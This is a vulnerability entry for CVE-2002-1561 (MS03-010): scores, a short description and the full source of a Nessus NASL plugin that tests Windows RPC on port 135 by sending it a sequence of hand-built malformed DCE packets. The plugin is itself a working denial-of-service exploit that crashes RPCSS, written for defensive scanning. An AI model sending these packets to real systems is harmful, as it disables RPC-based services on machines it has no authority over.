5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.563 Medium
EPSS
Percentile
97.7%
MS Windows RPC service (RPCSS) crashes trying to dereference a NULL pointer when it receives a certain malformed request. All MS RPC-based services (i.e. a large part of MS Windows 2000+) running on the target machine are rendered inoperable.
#%NASL_MIN_LEVEL 70300
#
# Test "Spike 2.7" MS RPC Services NULL pointer reference DoS
#
# Copyright (c) 2002 Pavel Kankovsky, DCIT s.r.o. <[email protected]>
# Permission to copy, modify, and redistribute this script under
# the terms of the GNU General Public License is hereby granted.
#
# This script is based on an exploit published on BugTraq:
# Code by lion, Welcomde to HUC Website Http://www.cnhonker.com
# 2002/10/22
#
# Changes by Tenable:
# - Revised plugin title, added 'see also' (6/24/09)
# - Changed family (6/25/09)
# - Revised plugin title, changed family again (10/23/09)
# - Add MSKB script_xref (8/29/17)
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(11159);
script_version("1.31");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2002-1561");
script_bugtraq_id(6005);
script_xref(name:"MSFT", value:"MS03-010");
script_xref(name:"MSKB", value:"331953");
script_name(english:"MS03-010: Microsoft Windows RPC Endpoint Manager Malformed Packet DoS (331953) (intrusive check)");
script_set_attribute(attribute:"synopsis", value:
"The remote Windows host is affected by a denial of service
vulnerability.");
script_set_attribute(attribute:"description", value:
"MS Windows RPC service (RPCSS) crashes trying to dereference a NULL
pointer when it receives a certain malformed request. All MS RPC-based
services (i.e. a large part of MS Windows 2000+) running on the target
machine are rendered inoperable.");
script_set_attribute(attribute:"see_also", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2003/ms03-010");
script_set_attribute(attribute:"solution", value:
"Apply the patch referenced in the Microsoft bulletin.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2002/10/18");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/11/21");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/o:microsoft:windows");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"Windows");
script_copyright(english:"This script is Copyright (C) 2002-2022 Pavel Kankovsky");
script_dependencies("find_service1.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports(135);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
#
# Prepare DCE BIND request
#
function dce_bind()
{
local_var req_hdr, sv_uuid, sv_vers, ts_uuid, ts_vers;
# Service UUID:
# B9E79E60-3D52-11CE-AAA1-00006901293F
# (this is one of the services bound to port 135)
sv_uuid = raw_string(
0x60, 0x9E, 0xE7, 0xB9, 0x52, 0x3D, 0xCE, 0x11,
0xAA, 0xA1, 0x00, 0x00, 0x69, 0x01, 0x29, 0x3F);
# The version is incorrect "for extra fun" (should be 0.2)
sv_vers = raw_string(0x02, 0x00, 0x02, 0x00);
# Transfer syntar UUID:
# 8A885D04-1CEB-11C9-9FE8-08002B104860
ts_uuid = raw_string(
0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11,
0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60);
ts_vers = raw_string(0x02, 0x00, 0x00, 0x00);
# Request header
req_hdr = raw_string(
0x05, 0x00, # version, minor version
0x0b, 0x03, # BINDPACKET, flags (1st+last frag)
0x10, 0x00, 0x00, 0x00, # data representation (LE, ASCII, IEEE fp)
0x48, 0x00, # fragment length (72)
0x00, 0x00, # auth length
0x02, 0x00, 0x00, 0x00, # call id
0xd0, 0x16, 0xd0, 0x16, # max xmit frag, max recv frag
0x00, 0x00, 0x00, 0x00, # assoc group
0x01, # num ctx items
0x00, 0x00, 0x00, # (padding)
0x00, 0x00, # p_cont_id
0x01, # n_transfer_syn
0x00); # (padding)
return (string(
req_hdr, sv_uuid, sv_vers, ts_uuid, ts_vers));
}
#
# Prepare evil DCE request I
#
function attack_dce_req_1()
{
local_var req_dt1, req_dt2, req_dt3, req_dt4, req_dt5, req_dt6, req_hdr;
# Request header
req_hdr = raw_string(
0x05, 0x00, # version, minor version
0x00, 0x01, # REQUESTPACKET, flags (1st frag)
0x10, 0x00, 0x00, 0x00, # data representation (LE, ASCII, IEEE fp)
0xd0, 0x16, # fragment length (5840)
0x00, 0x00, # auth length
0x8f, 0x00, 0x00, 0x00, # call id
0x20, 0x27, 0x01, 0x00, # alloc hint
0x00, 0x00, # context id
0x02, 0x00, # opnum: 0
0xf0, 0x00, 0x00, 0x00, # ?
0x00, 0x00, 0x00, 0x00, # ?
0x0f, 0x00, 0x00, 0x00); # ?
req_dt1 = crap(data:raw_string(0x41), length:240);
req_dt2 = raw_string(
0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x88, 0x13, 0x00, 0x00);
req_dt3 = crap(data:raw_string(0x42), length:5000);
req_dt4 = raw_string(
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00);
req_dt5 = crap(data:raw_string(0x43), length:512);
req_dt6 = raw_string(
0xfe, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfe, 0xff, 0x00, 0x00, 0x3d, 0x3d, 0x3d, 0x3d,
0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d,
0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d);
return (string(
req_hdr, req_dt1, req_dt2, req_dt3, req_dt4, req_dt5, req_dt6));
}
#
# Prepare evil DCE request II
# the size does not match fragment length?!
#
function attack_dce_req_2(ah, stuff)
{
local_var ah0, ah1, ah2, ah3, req_dt1, req_hdr;
# grrr...nasl barfs on (ah/xx) & 0xff
ah0 = ah & 0xff;
ah1 = ah / 256; ah1 = ah1 & 0xff;
ah2 = ah / 65536; ah2 = ah2 & 0xff;
ah3 = ah / 16777216; ah3 = ah3 & 0xff;
# Request header
req_hdr = raw_string(
0x05, 0x00, # version, minor version
0x00, 0x00, # REQUESTPACKET, flags (none)
0x10, 0x00, 0x00, 0x00, # data representation (LE, ASCII, IEEE fp)
0xd0, 0x16, # fragment length (5840...hmmm)
0x00, 0x00, # auth length
0x8f, 0x00, 0x00, 0x00, # call id
ah0, ah1, ah2, ah3, # alloc hint
0x00, 0x00, # context id
0x02, 0x00); # opnum: ?
req_dt1 = crap(data:raw_string(stuff), length:5000);
return (string(req_hdr, req_dt1));
}
#
# Prepare evil DCE request III
# this makes absolutely no sense, hmm...
# the attack appears to work without it...
#
function attack_dce_req_3()
{
local_var req_dt1, req_hdr;
# Request header? eh...sort of
req_hdr = raw_string(
0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x10, 0x00, 0x00);
req_dt1 = crap(data:raw_string(0x48), length:5000);
return (string(req_hdr, req_dt1));
}
#
# Carry out the attack.
#
function attack(port)
{
local_var i, r, soc;
# connect
soc = NULL;
for (i = 0; i < 3 && ! soc; i ++)
{
sleep(i);
soc = open_sock_tcp(port);
}
if (!soc) return (1);
# send bind request and check whether we got some reply
# this is used as a liveness test
send(socket:soc, data:dce_bind());
r = recv(socket:soc, length:16);
if (strlen(r) < 16) return (1);
# send the evil packets
send(socket:soc, data:attack_dce_req_1());
send(socket:soc, data:attack_dce_req_2(ah:0x011050, stuff:0x44));
send(socket:soc, data:attack_dce_req_2(ah:0xf980, stuff:0x45));
send(socket:soc, data:attack_dce_req_2(ah:0xe2b0, stuff:0x46));
send(socket:soc, data:attack_dce_req_2(ah:0x1560, stuff:0x47));
send(socket:soc, data:attack_dce_req_3());
# see you!
close(soc);
return (0);
}
#
# The main program.
#
port = 135;
if (!get_port_state(port)) {
exit(0);
}
maxtries = 5;
countdown = maxtries;
while (countdown > 0) {
success = attack(port:port);
if (success) {
if (countdown == maxtries) {
# XXX it refuses to talk to us
# XXX should we print a warning?
exit(0);
}
security_warning(port);
exit(0);
}
countdown = countdown - 1;
sleep(1);
}